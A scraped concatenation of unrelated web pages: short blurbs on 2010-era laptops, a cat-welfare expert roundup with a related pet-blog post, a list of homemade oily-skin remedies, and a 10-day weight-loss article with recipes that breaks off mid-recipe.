Sony VAIO VPC-Z1390X

The Sony VAIO VPC-Z1390X is, hands down, the lightest and most powerful ultraportable money can buy.

HP Pavilion dv7-4183cl

The HP Pavilion dv7-4183cl’s new components, including a faster Core i5 processor, 6GB of DDR3 memory (from 4GB), and bigger battery, are more dominant than anything else you can buy at this price.


The Sony VAIO VPC-EB33FM/BJ is loaded with features, including some that you’d never expect to find on a budget laptop, and it offers class-leading performance to boot.

Gateway ID49C13u

The Gateway ID49C13u seduces with an aluminum design that not many can pull off for $850, let alone put in premium components like a Core i5 processor and Nvidia Geforce GT 330M graphics.

Toshiba Portege R705-P35

The Toshiba Portege R705-P35 is a more practical alternative to the Sony VAIO Z, bundling a 13-inch widescreen, optical drive, and a standard volt processor.

Acer Aspire AS5745-7247

The Acer Aspire AS5745-7247 is one sweet laptop deal, putting in parts and features you don’t normally get at these prices.

Asus U45Jc-A1

The U45Jc-A1 is powerful and battery efficient enough to work through an entire day and look good while doing it.

Dell Latitude E5510

The affordable Dell Latitude E5510 business laptop comes complete with a durable frame, excellent user experience, and the performance you would expect from a Latitude laptop.

Toshiba Satellite T235-S1350

Toshiba’s latest CULV-equipped laptop, the Satellite T235-S1350, has all the key laptop essentials for an unbeatable price.

Source Link: http://www.batteryfast.co.uk/battery-technology/the-top-10-best-laptops-guide-laptop-review-by-www-batteryfast-co-uk/

Let Them Sniff and Early Socialization

Two recent posts considered how to make the world better for dogs and how to make the world better for cats. An incredible set of experts gave their answers to the questions, with wonderful ideas for a better world for our animals.

I am making images for each answer to share on social media.

A dalmatian sniffs the snowy grass

These are the first two. I am working my way through in somewhat random order (not truly random because if I happen to see a photo that will just go with a particular text, I’ll run with it). I am sharing them here for those who do not follow me on Facebook or Twitter.

A 5-6 week old foster kitten reaches out for a toy

Of course, you can read the posts in full and see the texts from which these quotes are taken: how to make the world better for dogs and how to make the world better for cats.

How to make the world better for cats has also been translated into Japanese for the website the-mal.com. If you have Japanese friends who you think will like it, please share it with them. Thank you to Saramu Momma MSc and Risa Yoshida for the translation.

Stay up to date and subscribe to Companion Animal Psychology.

10 Fabulous homemade beauty tips for oily skin that work

Well, it’s obvious that you don’t get to choose your skin type, it’s hereditary. So, if you parents have oily skin, chances are yours is oily too. But the good news is that you can keep things under control through a reasonable diet and a choice of all-natural, easy to use remedies, as well as good hygiene. Check out these ten homemade beauty tips for oily skin that can help you maintain a healthy, acne-free look:

1. Wash regularly

Of course, you do wash your face. The problem is that excessive washing is just as bad for oily skin, as is insufficient washing. While many sources advise you to use special soaps for oily skin, they may not always be the best choice – these soaps could dry up your skin too much and cause a ‘boomerang effect’. Sometimes it’s better to just use water.

2. Oil cleansing

Another one of great and effective homemade beauty tips for oily skin is oil cleansing. This basically means removing excessive oil with…oil. That’s right! Natural oils can dissolve the excessive sebum (the oily substance the skin secretes) accumulations on your face, clean up the dead cells and regulate oil production. Give it a try, even if you think it sounds paradoxical, it will do you no harm.

3. Rose water

Rose water is another wonderful ingredient that is often used in homemade beauty tips for oily skin. Rose water has a soothing, anti-inflammatory effect. Besides, it can remove excessive oil and actually regulate its production by your skin, so you don’t get that unpleasant shine. Use it regularly, whether by spraying your face with it, or applying it with a cotton bud every other day.

4. Yoghurt

If you have the time, massage your face a few times every week with plain, unsweetened yoghurt or buttermilk. The lactic acids they contain help cleanse your skin, unclog the pores and reduce sebum production.

5. Vinegar

Yes, it’s the acid in apple cider vinegar that can help you keep your skin shine-free. Just splash some vinegar diluted in water (proportion 1:1) on your washed face and let it dry, before rinsing it off. Don’t worry about the smell, it will evaporate quite quickly. As an added benefit, it has a softening effect.

6. Egg white

The list of homemade beauty tips for oily skin can’t be complete without mentioning an egg. An egg-white mask has a drying effect on your skin but this effect is not as excessive, as the effect of detergents. Add some lemon juice to reinforce it, mix lightly, apply and leave for ten minutes, before rinsing gently. Doing it once or twice a week should be enough, provided you also use some of the other remedies.

7. White clay

Another one of great homemade beauty tips for oily skin is to use white cosmetic clay. White clay, or kaolin, is one of the best drying, skin-tightening treatments there is. It not only absorbs excess oil, but it also takes care of blemishes and tightens pores. Depending on the strength you’re aiming for, mix it with water into a more liquid or a thicker paste, then gently rub it on your face, and leave to dry before rinsing.

8. Alcohol-free cosmetics

Alcohol dries up the skin but it does it so aggressively. This means that it’s very likely that your oily skin will get worse, instead of better, if you regularly treat it with a toner that contains alcohol in it. If you feel you must use a toner, choose one without the stuff. Also, don’t forget to moisturise – oily skin does not equal well moisturised skin.

9. Eat your greens

All experts are unanimous on this – eating fresh fruit and vegetables, and staying away from fried foods can do wonders for your oily skin, even if you don’t want to use any of the other tips and remedies. That’s because a proper diet balances the production of oil by the skin glands, just like it balances your weight.

10. Exfoliate

Getting into a habit of exfoliating your skin daily, especially if you live in a big city where the air is as a rule dirtier, is one of the best things you can do for your skin. You don’t even have to use abrasives, just massage your face with some vinegar. If you want abrasives, use baking soda or ground almonds. Mix the soda with some water and rub it gently into your face before rinsing. Mix the almonds with some honey and do the same, then rinse.

Caution: Make sure your are not allergic to homemade skin treatment ingredients and always be gentle with your skin! 

How to Make the World Better for Cats

Cat experts – including Mikel Delgado, Pam Johnson-Bennett, Sandra McCune, Kersti Seksel and Nicky Trevorrow – weigh in on the one thing that would make the world better for cats.

How to make the world better for cats, like this beautiful cat in the snow, and your cat at home
Photo: JRJfin

We love our feline friends, but at the same time there’s a lot that we, as a society, could do to make cats happier. So I asked several experts on cats to answer the question, “What’s the one thing that would make the world better for cats?”

Read on to see what they have to say. And if you’re a dog person, there’s a related post on how to make the world better for dogs to check out next.

This post is also available in Japanese. Thank you to Saramu Momma MSc and Risa Yoshida for the translation.

Sebastiaan Bol, PhD

Founder and CEO of Cowboy Cat Ranch (Website http://www.cowboycatranch.org/  Twitter,  Facebook)

Sebastiaan Bol on how to make the world better for cats. "Cats love plants (but only the ones that are safe for them)"
“Cats love plants (but only the ones that are safe for them)”

“In general, creating a safe, fun and challenging environment for cats will make them truly happy. Environmental enrichment such as a catio, cat trees, shelves on the wall, hiding places and food puzzles really make a huge difference for a cat’s well-being. But you asked me to name one thing that would make the world better for cats, I am sorry. Plants. Cats love plants (but only the ones that are safe for them). Not only do they really like to eat the grass from oat, rye, wheat and barley seeds, they also love to lie on or in the grass. Seeding your own grass is easy to do and will give much nicer grass compared to when you buy cat grass in the store. Other plants that deserve a place in each house with a cat are living catnip plants, silver vine and Tatarian honeysuckle. Or, to be more specific, wood sticks or powder from the fruit of the silver vine plant, and the wood of Tatarian honeysuckle. They are like catnip, but just a little different. These plants contain chemicals not present in catnip, allowing cats who do not enjoy catnip to have a good time too. Cats who do enjoy catnip may of course still love silver vine and Tatarian honeysuckle as well. The big pieces of honeysuckle wood (stem or branch) look beautiful and will last a lifetime. So, make a difference for your cat today and invest in a huge piece of Tatarian honeysuckle wood, sprinkle some silver vine powder on the carpet, and grow some super fresh cat grass! They’ll love you even more!”

Mikel Delgado, PhD

Postdoctoral Fellow at the School of Veterinary Medicine, UC Davis and Certified Cat Behavior Consultant at Feline Minds (Twitter)

“if everyone who lived with a cat played with them daily, with interactive toys”

“I usually answer a question like this with “If everyone recognized that cats are not dogs or humans.” But this time, I’d rather say, the world would be a better place for cats if everyone who lived with a cat played with them daily, with interactive toys (e.g. a cat dancer). Many of my behavior consulting clients tell me their cats don’t or won’t play. But cats are obligate predators, and they all (even seniors and cats with disabilities!) have the capacity for interactive play that mimics the hunting experience! I take great pleasure in showing clients how to get their cats stalking, pouncing, or even just mentally engaged with an interactive toy. I think many people don’t play with purpose, and get frustrated when their cat doesn’t respond enthusiastically to a randomly waving feather. But if you move the toy like a prey animal would move, and use all your cat’s senses, and remember they are a “stalk-and- rush” hunter, you will have GREAT SUCCESS (to quote Borat)! So many housecats are leading under-stimulated lives. We give them love, but that isn’t enough. They need the benefits of physical exercise (both for staying fit and for reducing stress), and playing with your cat a few minutes a day with a wand toy is a fun bonding experience for you both!”

Lauren Finka, PhD

Postdoctoral Research Fellow at the University of Lincoln (Twitter)

Lauren Finka on how to make the world better for cats. "we can help by choosing cats that we think will be able to enjoy the type of lifestyle we have"
“an appreciation of the evolutionary history of the domestic cat, and how important this is for a better understanding of this species”

“It would be great for owners and those caring for cats to have an appreciation of the evolutionary history of the domestic cat, and how important this is for a better understanding of this species and their biological and psychological needs today. Many of these needs are still similar to those of their closest ancestors, the North African/Arabian wildcat; a self-reliant predator which is territorial, spends a large proportion of each day exploring and hunting, and values solitude and the ability to escape from threats by hiding or getting up high. However, we now expect the domestic cat to live in a world very different from that of its relatives – often restricting their ability to explore and hunt within a complex environment (i.e. by confining them indoors), expecting them to live a much more social lifestyle (i.e. with other cats and with us), and to tolerate a lot of physical handling (i.e. we love to cuddle and fuss over cats). Whilst many cats are able to cope well and live up to our expectations, many may also struggle, either due to a lack of suitable socialisation during their early development (i.e. 2-7 weeks) and beyond, other aspects of their temperament, or simply a lack of opportunity to behave as they are biologically motivated to. How we can help is by choosing cats that we think will be able to enjoy the type of lifestyle we have, supplying them with many opportunities for positive cognitive and sensory stimulation, the ability to escape from things they find stressful, and also being careful about how much ‘social pressure’ we are exerting upon them; providing them with many opportunities to have time alone undisturbed.”

Sam Gaines, PhD

Head, Companion Animals Department, RSPCA (Sam’s Twitter; RSPCA on Twitter, Facebook, Instagram)

Sam Gaines on how to make the world better for cats
more realistic expectations around the interactions which cats appreciate: frequent but short.”

“Sadly the social behaviour of cats, and especially their interactions with people, is very misunderstood. Most cats typically want high frequency but lower intensity interactions whereas many people want fewer interactions but for a longer period of time. This mismatch can lead to defensive aggression in cats with some being labelled as grumpy or spiteful. Having more realistic expectations around the interactions which cats appreciate; frequent but short, will avoid unnecessary stress, fear and worry and will help strengthen the bond between cat and owner.”

Naomi Harvey, PhD

Research Fellow, Itchy Dog Project, School of Veterinary Sciences, University of Nottingham (Twitter)

Naomi Harvey on how to make the world better for cats
“That people accept them as individuals, with rich personalities and complex social needs.”

“That people accept them as individuals, with rich personalities and complex social needs. People who haven’t had a close relationship with a cat often assume the stereotype that cats are ‘independent’ and just ‘use’ people for food and warmth. This leads some people to consider cats as an option for a pet that requires less attention and responsibility than a dog. However, as I’m sure cat lovers will be happy to tell you, cat personalities differ greatly, as do their social needs. Many cats are capable of great affection, and if given a choice would choose to be in your company rather than alone, which can mean their welfare is easily compromised when left alone for long periods or are shut outside all day.”

Ingrid Johnson, CCBC

Certified Cat Behavior Consultant at Fundamentally Feline (Twitter, Facebook, Instagram)

Ingrid Johnson on how to make the world better for cats
“a better understanding of a cat’s environmental necessities.”

“I think the single most important improvement in the care and welfare of cats is quite simply, a better understanding of a cat’s environmental necessities. This greater grasp needs to be industry-wide. There is a distinct disconnect between what cats need and what is being offered to feline caregivers to help meet those needs. A clearer understanding of a cat’s physical and emotional needs must be improved across the board from veterinary professionals to pet product designers and cat guardians alike. Forcing cats to comply with our human world and expectations sets them up to fail. Less environmental stress leads to less physical illness and fewer behavior problems. There is a recent trend to change the term “environmental enrichment” to a more fitting “environmental needs” and I embrace that trend. Many “behavior problems” would never become problems at all if cats were simply provided with an environment that embraces their inner “catness”. They need bigger litter boxes (and more of them). They need taller and more abrasive scratching posts, not these ridiculous carpet scraps that hang from doorknobs. Cats need to be challenged and offered a stimulating world that evokes their inner predator while simultaneously providing the safety and security they crave. The movement is growing as the public demand for more knowledge and better products increases, but we still have a long way to go towards making our homes more feline friendly.”

Experts give their ideas on how to make the world better for cats, from more play opportunities to learning to appreciate what a cat truly is

Pam Johnson-Bennett

Best-selling author and star of Animal Planet UK’s Psycho Kitty. (Website http://www.catbehaviorassociates.com/,  Twitter, Facebook)

“if we could finally change the misconceptions people have about them.”

“One thing that would make a huge difference in the lives of cats is if we could finally change the misconceptions people have about them. Hatred of cats, punishment, neglect and callous attitudes develop because people believe myths and false information about what drives cat behavior. Cats are often viewed as either sinister bird killers or low maintenance alternatives when you don’t want to put much effort into being a pet parent. Education can open hearts to how wonderful it is to love and be loved by these magnificent animals.”

Kat Littlewood, BVSc(dist) PGDipVCS(dist)

Small animal veterinarian and PhD candidate with Animal Welfare Aotearoa (AWA) at Massey University.  (Website https://katwelfarematters.wordpress.com/, Twitter, Facebook)

Kat Littlewood on how to make the world better for cats
“I would like veterinarians and owners to work together to make judgements on quality of life – before it is significantly compromised.”

“Sooner rather than later: If owners, and their veterinarians, considered death earlier, then quality of life would be better for cats. Most cat owners tell us, after they have euthanased their beloved cat, that they wish they had done it sooner. It can be really difficult to make the decision at the time – especially if owners are strongly attached to their cat and/or think of them as a member of the family. Owners also adapt to their cat’s declining quality of life and poor welfare becomes the new normal for their pet. However, for the cat’s wellbeing, it is better to start thinking about ‘how it is doing’ sooner rather than later. I would like veterinarians and owners to work together to make judgements on quality of life – before it is significantly compromised. We need to break down the taboo of talking about death. When a cat is diagnosed with an illness, particularly if it’s terminal, its death should be discussed. When a cat reaches a certain age, we need to have ‘that’ conversation. What does a good life look like for this cat? How will we know when it is no longer enjoying life? By having these frank discussions earlier, we can help reduce the ‘wish I had done it sooner’ effect and improve the quality of our cats’ lives.”

Sandra McCune, PhD

Scientific Leader – Human-Animal Interaction, Science Engagement and Communications Team, WALTHAM Centre for Pet Nutrition. (Sandra on Twitter, Waltham website www.waltham.com and Twitter)

Sandra McCune on how to make the world better for cats
“owners understanding better the role food plays in their relationship with their cat.”

“One thing that would make a better world for cats is owners understanding better the role food plays in their relationship with their cat. For many owners, food is a currency of love. Offering excess food and especially highly palatable food not intended for cats can harm their health. Helping owners to understand their cat’s need for the appropriate amount of a complete and balanced diet is key to tackling the problem of feline obesity, now an issue for almost 60% of US cats. We need to help cat owners change their behaviour without diminishing their bond. #ABetterWorldForPets”

Kim Monteith, CTC

Manager, Animal Welfare, BC SPCA. (Kim’s Twitter; BC SPCA website: http://spca.bc.ca/, Twitter, Facebook, Instagram)

Kim Monteith on how to make the world better for cats
“Early socialization will help them not be afraid of new things or changes in their environment”

“If we promote and teach kitten socialization the way we do with puppies the world would be a better place for cats. The socialization window – open from 3 to 7 weeks – is so important for them and what they learn about the world. We need to provide kittens with good experiences during this time. Introduce them to different people, environments, objects, animals and handling. Think of how different their experiences and life would be if we did this. Early socialization will help them not be afraid of new things or changes in their environment which are bound to happen. It’s so simple, yet we don’t often think of the importance of cat socialization like we do with dogs. Maybe that’s it, we need to change the way we think about cats …”

Kate Mornement, PhD

Pets Behaving Badly – Solutions with Dr. Kate. (Website http://petsbehavingbadly.com.au/, Twitter,  Facebook)

Kate Mornement on how to make the world better for cats
“Pet cats, especially those confined to the home, must have appropriate outlets for the expression of normal feline behaviours”

“One thing that would make the world a better place for cats is if cat owners understood that, although domesticated, companion cats retain the instinct and desire to perform normal feline behaviours. These behaviours include scratching and scent marking; seeking, hunting and stalking, and maintaining a secure territory. Until fairly recently, pet cats were free to roam their neighbourhoods at will. This freedom allowed them to maintain a larger territory, to hunt and stalk prey, climb, scratch, problem solve and keep physically fit – in essence, to be a cat. This is no longer the norm in many cities where cat curfews are now enforced. Pet cats, especially those confined to the home, must have appropriate outlets for the expression of these normal feline behaviours – without them problem behaviour, such as destructive scratching of furniture and aggression towards people/other animals in the home, is common. Stress and anxiety, especially common in multi-cat homes where cats compete for access to valued resources, can lead to inappropriate toileting and territorial marking – a common reason for relinquishment to animal shelters. Providing cats with appropriate outlets for normal feline behaviours should include: the provision of scratch posts and cat scratchers; cat towers or high shelving to provide a safe place to retreat to; ready access to several litter trays (especially important in multi-cat households); and safe access to outdoor space if possible. The opportunity for daily play with toys that mimic prey provides an outlet for hunting and stalking behaviour, which can reduce aggression towards people or other animals in the home.”


Veterinary Behaviour Specialist at Sydney Animal Behaviour Service. Website: http://sabs.com.au/

Kersti Seksel on how to make the world better for cats
Education of people about cat behaviour is the biggest key to helping cats around the world

“Education of people about cat behaviour is the biggest key to helping cats around the world. Knowing how cats “tick” and what they like would be helpful. Teaching this at Kitten Kindy classes is the easiest and most effective way besides being lots of fun for kittens and owners alike. Cats are social animals but that does not mean all cats are socialised. Being socialised means that the individual accepts the close proximity of others – cats and people. It does not mean they have to like all others – sounds like us really doesn’t it? The socialisation period – when it is easiest to help kittens learn about their world – occurs between 3 and 7 weeks of age. So the way the breeder raises the kitten is so important. However, socialisation can occur at any age. So what can make a difference to cats during and after the socialisation period? Many people want cats to have a best friend, but many (most) cats are more suited to being an only cat. Some other behavioural needs of cats that are not widely known include: Cats prefer their food and water to be a good distance apart. The ideal litter tray is 1.5 times the length of the cat, and very few are made this big. Some also have lids and flaps to keep the smell out for the owner. Many cats will cope but they don’t necessarily like them, and those cats may develop toileting problems as a result. So knowing about the cat’s behavioural needs and respecting them would really make the world a better place for cats and starting during the socialisation period is best.”

Jenny Stavisky, PhD

Assistant Professor, Shelter Medicine, School of Veterinary Medicine and Science, University of Nottingham (Jenny on Twitter; Vets in the Community on Twitter)

Jenny Stavisky on how to make the world better for cats
“for us to have a better understanding of how they see the world.”

“The one thing that would make the world better for cats I think might be for us to have a better understanding of how they see the world. Unlike us, and unlike dogs, they aren’t naturally gregarious as a species. This means that whilst some cats like some other cats, for the most part (there are always exceptions…) cats don’t want, like or need lots of cat buddies. So when we keep them as pets, one cat in a household is fine, and certainly doesn’t need to have extra friends! Also, cats are nature’s control freaks and need some self-determination. One of the most common problems I see is when people forget that feral cats are truly wild animals and, meaning well, try to tame them. This means the cat gets guaranteed food, shelter and veterinary care but at the cost of being able to make its own choices about proximity to humans and other animals. For most feral cats, this probably isn’t overall a beneficial trade-off, any more than it would be for a weasel, badger or other wild animal. So, people respecting and understanding cats’ fundamental needs to generally behave as solitary psychopaths would I think make a better world for cats.”

Malini Suchak, PhD

Assistant Professor, Animal Behaviour, Ecology and Conservation program and the Anthrozoology graduate program, Canisius College.

Malini Suchak on how to make the world better for cats
“Listen harder when they are trying to “tell” us something.”

“Listen harder when they are trying to “tell” us something. Cats are notorious for hiding their emotions from humans, even their closest companions. To some degree this can be attributed to the fact that they evolved from small wildcats who are predators, but are also prey animals. Prey animals often have adaptations which enable them to hide pain and fear. As a result, they are often a bit of an enigma to us. But as it turns out, they communicate a lot of information, it’s just subtle. The angle of their ears, the movement or angle of their tails, or even the tone of their purr might communicate information about how they’re feeling. So, if we listen really hard, and respect what cats are “saying”, we can more accurately interpret how they’re feeling and provide better care.”

Nicky Trevorrow, BSc(Hons) PGDip(CABC) RVN

Behaviour Manager at Cats Protection (Website https://www.cats.org.uk/, Twitter, Facebook,  Pinterest, Instagram)

Nicky Trevorrow on how to make the world better for cats
“Having a regulatory body for animal behaviourists and trainers to ensure animal welfare standards are met using up-to-date evidence-based methods.”

“One thing that would make a better world for cats – having a regulatory body for animal behaviourists and trainers to ensure animal welfare standards are met using up-to-date evidence-based methods. While this may not be the first thing that springs to somebody’s mind for improving cat welfare, ultimately this has the potential to make the biggest impact on cats around the world. In the UK, we have the Animal Behaviour and Training Council. It sets and maintains the standards of knowledge and practical skills needed to be an animal trainer, training instructor or animal behaviourist, and it maintains the national registers of appropriately qualified animal trainers and animal behaviourists.”

How to make the world better for cats. Experts give their tips, including play opportunities, like this cat is enjoying

Elizabeth Waring, MSc

Behaviour Distance Education Coordinator, International Cat Care (Website http://www.icatcare.org/, Twitter, Facebook)

Elizabeth Waring on how to make the world better for cats
“Having a better understanding of our cats real needs and what truly drives their behaviour”

“One thing that would make the world better for cats would be for us to better understand what a ‘cat’ is. Cats are complex creatures which have co-existed with us for thousands of years. Yet society is still playing catch up with regard to truly understanding their natural drives and needs. Compromised welfare is often the result of us misunderstanding their behaviour and the ways in which cats communicate. Cats are instinctive hunters, territorial, self-reliant and yet highly adaptable creatures. Often our modern ways of living mean compromising on a cat’s natural behaviours. For example, keeping indoor cats without access to appropriate space or outlet for their instinctive need to hunt. One of the biggest causes of stress for cats results from the common misconception by humans that they need the ‘company’ of other cats. Cats are self-reliant and highly territorial. They have no biological requirement for companionship, especially from their own kind, as they are adapted to hunt and defend their territories alone. Consequently, the introduction of another cat into their territory can often be a highly stressful experience. Having a better understanding of our cats real needs and what truly drives their behaviour could help owners to provide cats with improved environmental and social conditions. In turn, this will help reduce problems and enhance the welfare and quality of life for pet cats.”

Miranda Workman, MS, CABC, CBCC-KA, CPDT-KSA

Clinical Assistant Professor, Animal Behaviour, Ecology and Conservation and Anthrozoology, Canisius College. Website: www.mirandakworkman.com

Miranda Workman on how to make the world better for cats
“the one thing that would make the world better for cats at an individual level would be to improve opportunities for cat owners/guardians to train them”

“I think the one thing that would make the world better for cats at an individual level would be to improve opportunities for cat owners/guardians to train them – give them more information about how unique each individual cat truly is, but that they all can be trained which could give them skills that would make coping with our anthropocentric environments much easier for them. What enrichment do they like? Do they prefer treats or toys for training? At a societal level I think there are few things that could change: 1). We need to re-think how we manage cats at a community level and in animal shelters. As long as those responsible for caring for cats continue to send the message that cats are second to dogs and we can put them in cages much too small for an acceptable life, the public won’t see them differently. 2). We also need to reconsider how we deal with non-human animals, particularly cats, in our legal system. How we label them (are they companion animals, wildlife, feral…) matters in how we CAN treat them.”

If you like this post, please share it with your family and friends. Together we can make the world better for cats!

What’s the one thing you think would make the world better for our feline friends?

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Simple Tips To Lose Weight In Just 10 Days

There will always be a reason why you still haven’t shed those few extra pounds you have packed on. A few cookies here and a donut there, and the next thing you know is the weighing machine displaying a panic-inducing number.

” I began to prioritize exercise because I realized that my happiness is tied to how I feel about myself. I want my girls to see a mother who takes care of herself, even if that means I have to get up at 4:30 so I can do a workout. ” – Michelle Obama, First Lady of the United States

Healthy weight loss is a gradual process, that much is true. But incorporating small changes in your lifestyle can show really fast results, in as less as 10 days.
Lose Weight In JustClick here to view an enlarged version of this infographic

Table Of Contents


  1. Eat More Fiber
  2. Reduce The Intake Of Carbohydrates
  3. Eat Healthier Fats
  4. Incorporate A Workout Regimen Into Your Schedule
  5. Cut Out Empty Calories
  6. Choose Better Snacks
  7. Get Rid Of Junk
  8. Eat Smaller Portions
  9. Cook Your Own Meals
  10. Drink More Water
  11. Don’t Give Up
  • A Diet Plan
  • Experts Tips To Lose Weight in 10 Days


1. Eat More Fiber

The best way to reduce calorie intake is by incorporating more fiber into your diet. The recommended amount is about 30 grams a day, but most people don’t consume enough fiber.

How Is It Helpful?

Fiber is of two types, soluble and insoluble. Soluble fiber absorbs water and transforms into a gel during digestion. Insoluble fiber remains undigested as it passes through your system. Both types of fiber slow down the process of digestion, and helps you feel fuller for longer .

2. Reduce The Intake Of Carbohydrates

Carbohydrates are a staple in the diet of many. In fact, of all the food groups, the amount of carbs consumed is the highest. This poses a problem because every gram of carbohydrate contains four calories. And most foods that are rich in carbs barely possess any other nutrients.

How Is It Helpful?

Filling yourself up with carbs adds a lot of calories to your diet, which is why cutting back on carbs can be a great step towards weight loss.

3. Eat Healthier Fats

There is this prevalent misconception that fats are bad for you. That isn’t entirely true. There are healthy fats and there are the unhealthy ones. You need to make sure that the fats you eat are good for your health.

How Is It Helpful?

Most junk foods contain unhealthy or saturated fats. They are the ones responsible for an array of diseases. But unsaturated fats, which is found in avocado, olive oil, and nuts, can help lower cholesterol and the risk for heart diseases when had in moderation.

” Personally, I love the gym. I love being around people who are sweaty and pushing themselves, who are all focused on the same goals. I love being in a group like that. ” – Cameron Diaz, American Actress

4. Incorporate A Workout Regimen Into Your Schedule

Exercise and weight loss go hand in hand. While it might not be possible to start working out an hour a day overnight, you can start by doing small things at a time. A 15 minutes walk, or taking the stairs instead of the elevator are good ways to start.

How Is It Helpful?

Even if you don’t end up working out a lot, a little exercise is better than no exercise. Regular exercise helps burn calories and boosts your metabolism. It also helps in maintaining your muscle mass, and since muscles need more calories than fat, you end up burning a substantial amount of calories every day.

5. Cut Out Empty Calories

It is easy to lose track of everything you eat. Some of us even eat without registering it. How many times have you given a thought to your morning cappuccino, and the fact that it can contain over 120 calories?

How Is It Helpful?

We tend to consume a lot of things that are high in calories, but don’t even count as food. Carbonated drinks, coffee, and junk like chips are some examples. So it is important to register what you are eating, and keep track. You can cut back on a lot of calories just by avoiding foods that don’t fill you up.

6. Choose Better Snacks

Three meals a day can leave you feeling hungry in between. And that’s where most of us slip up. Even if we try eating meals that are healthy, we end up binging on snacks that are anything but. And this has a huge impact on our weight, so we should opt for better snack options.

How Is It Helpful?

The biggest culprit that causes weight gain is our habit of unhealthy snacking. Fries and chips and cookies do nothing to fill us up, but add a lot of carbs, sugar, and fat. It is also difficult to stop at one or two because we still feel so hungry. So opt for snacks that have a high fiber content.

” I do a lot of things with little weights—like, I’ll put on a song that I really like and I’ll do [bicep curls with] 5-pound weights for the duration of the song and just try to burn out. ” – Beyonce, American Singer, Songwriter

7. Get Rid Of Junk

Most of us find it difficult to let go of our favorite foods. Chips and cookies might be fattening and unhealthy, but we still end up having them. Which is why not buying junk food is a good step towards losing weight.

How Is It Helpful?

The reason we eat so much junk is because we buy it, and keep it available and accessible. You know the saying, ‘out of sight, out of mind’. Purging your pantry and fridge of high-in-calories and low-in-nutrients food can help you cut back on unhealthy snacking.

8. Eat Smaller Portions

One of the main reasons we break from our diet plans is the fact that it is really difficult to resist temptation. A few days of green smoothies and salads, and you find yourself gorging on every kind of junk imaginable. Most of us don’t have the willpower to keep eating something we despise for a long period of time. Which is why deprivation doesn’t work. The best way to have want we want, and not gain weight is by eating smaller portions.

How Is It Helpful?

The idea behind smaller portions comes from the fact that it takes your brain about 20 minutes to process what you eat. So, you may not even realize that your stomach is full and keep eating. It is necessary that you take breaks between servings to actually gauze whether you are hungry anymore.

When you see more food on your plate, you tend to eat more. So it makes sense to serve yourself smaller portions. This way, you know you’re not overeating. And it can help you lose weight, and without you having to give up your favorite foods.

9. Cook Your Own Meals

With work and miscellaneous other tasks demanding our attention, cooking your own meals can seem like too much of a chore. But if you are looking to lose weight, this is a great step you can take.

How Is It Helpful?

The best way to determine if the meal you are eating is healthy for you is by making it yourself. That way, you get to experiment with what you like and what you don’t. You also get to try out low calorie alternatives of your favorite dishes. This helps you control to your portions.

” I eat like a caveman. I’ll be the only actress who doesn’t have anorexia rumors. I don’t want little girls to be like, ‘Oh, I want to look like Katniss, so I’m going to skip dinner’ … I was trying to get my body to look fit and strong – not thin and underfed. ” –  Jennifer Lawrence, American Actress

10. Drink Enough Water

Drinking enough water is really important for your health. Insufficient water intake could actually be impacting how much you weigh.

How Is It Helpful?

Sometimes, thirst can be misinterpreted as hunger pangs by your brain. So, to gauze whether you are really hungry or not, try drinking a glass of water before eating anything.

11. Don’t Give Up

There are times when temptation gets the better out of us, and we end up binging on junk. Or we go to a party and end up eating way more than what we had planned.

There will always be instances where we fall off the wagon. And it can seem all too easy to give up on the whole notion of losing weight. But even if you slip once or twice (or a hundred times), go back to sticking to your diet.

How Is It Helpful?

Experts agree that going off your diet is bound to happen. But they also agree that you should go back to it if you want to keep off the weight that you had lost in the first place.

A Diet Plan

A low calorie diet doesn’t have to be the ordeal it is made out to be. If you stick to three meals and two snacks a day, you ought to stay full.

There are plenty of recipes that you can try for breakfast, lunch, and dinner that not just aid in weight loss, but are delicious to boot.


There are those who consider breakfast to be the most important meal of the day, and preach that it is something that should never be skipped. The logic was that if you missed breakfast, you would be hungrier at lunch, and you might even indulge in pre-lunch snacking. But recent research shows that how much you eat at lunch does not really depend on whether or not you’ve had breakfast.

But skipping meals is never a good idea, because it brings with it a plethora of health issues. So, when weight loss is on your mind, you can go for good old oatmeal or try out a high fiber, super-healthy smoothie.

1. Mixed Berries Smoothie

Ingredients Needed

  • 1/3 cup blueberries
  • 1/3 cup strawberries
  • 1/3 cup raspberries
  • 1 banana
  • 2 tablespoons ground flaxseed
  • 1/2 cup fat-free yogurt
  • 3/4 cup skim milk
  • 1 tablespoon honey
  • 1/4 teaspoon vanilla extract

How To Make

Add all of the ingredients in a blender, and blend until it is smooth.

2. Frappuccino Oats

Ingredients Needed

  • ½ cup oats
  • ½ cup skim milk
  • ½ cup water
  • ¼ tablespoon salt
  • 1 teaspoon instant coffee

How To Make

  • Combine all the ingredients in a pot.
  • Place over medium flame and bring it to boil.
  • Wait for the oats to cool down a little before consuming.

Lunch And Dinner

Lunch is the most important meal of the day. What you have for lunch should get you through the day, all the way to dinner, with maybe a snack in between. Which is why it should be filling, but healthy and low in calories.

If you get your lunch on the go, make sure that you opt for options that don’t contain high-fat dressing or empty calories. Something along the lines of grilled chicken on whole grain bread is ideal.

Your dinner, while not too heavy, should be able to sustain you through the night. A stew, served without bread or rice, should work very well.

3. Chicken Stew

Ingredients Needed

  • 2 cups cooked boneless chicken, cubed
  • 2 cups chopped onion
  • 2 cups whole peeled tomatoes
  • 1 cup chopped celery
  • 2 cups sliced carrots
  • 1 cup sweet corn
  • 1 cup peas
  • 5 cups chicken broth

How To Make

  • In a large pot, combine all the ingredients.
  • Stir together, and cook for half an hour or till the vegetables are tender.

4. Spiced Tofu

Ingredients Needed

  • 1/2 kg reduced-fat tofu, cubed
  • 1 1/2 teaspoons vegetable oil
  • 1 teaspoon sesame oil
  • 2 tablespoons soy sauce
  • 1 tablespoon vinegar

How To Make

  • Heat the oils in a pan, and saute the tofu till it is golden brown.
  • Remove the pan from the flame, and add the soy sauce and vinegar.


When you stay hungry, all the junk you are trying to avoid can get too tempting to resist. To keep yourself from getting too hungry between meals, always keep something with you that you can munch on. It doesn’t always have to be celery or carrot sticks. You can always treat yourself to something delicious that isn’t completely terrible for your diet.

5. Peanut Butter And Apple Sandwich

Ingredients Needed

  • 1 medium-sized apple
  • 1 tablespoon creamy peanut butter

How To Make

  • Core the apple, and cut it into slices. A medium sized apple should get you eight slices. If you’re not planning on eating them immediately, brush the slices with lemon juice so that they don’t turn brown.
  • Spread peanut butter over each four of the slices. Cover them with the leftover slices.

6. Baked Chickpeas With Spices

Ingredients Needed

  • 1/3 cup chickpeas
  • ½ teaspoon mixed spices (garlic powder, onion powder, paprika)
  • A pinch of salt

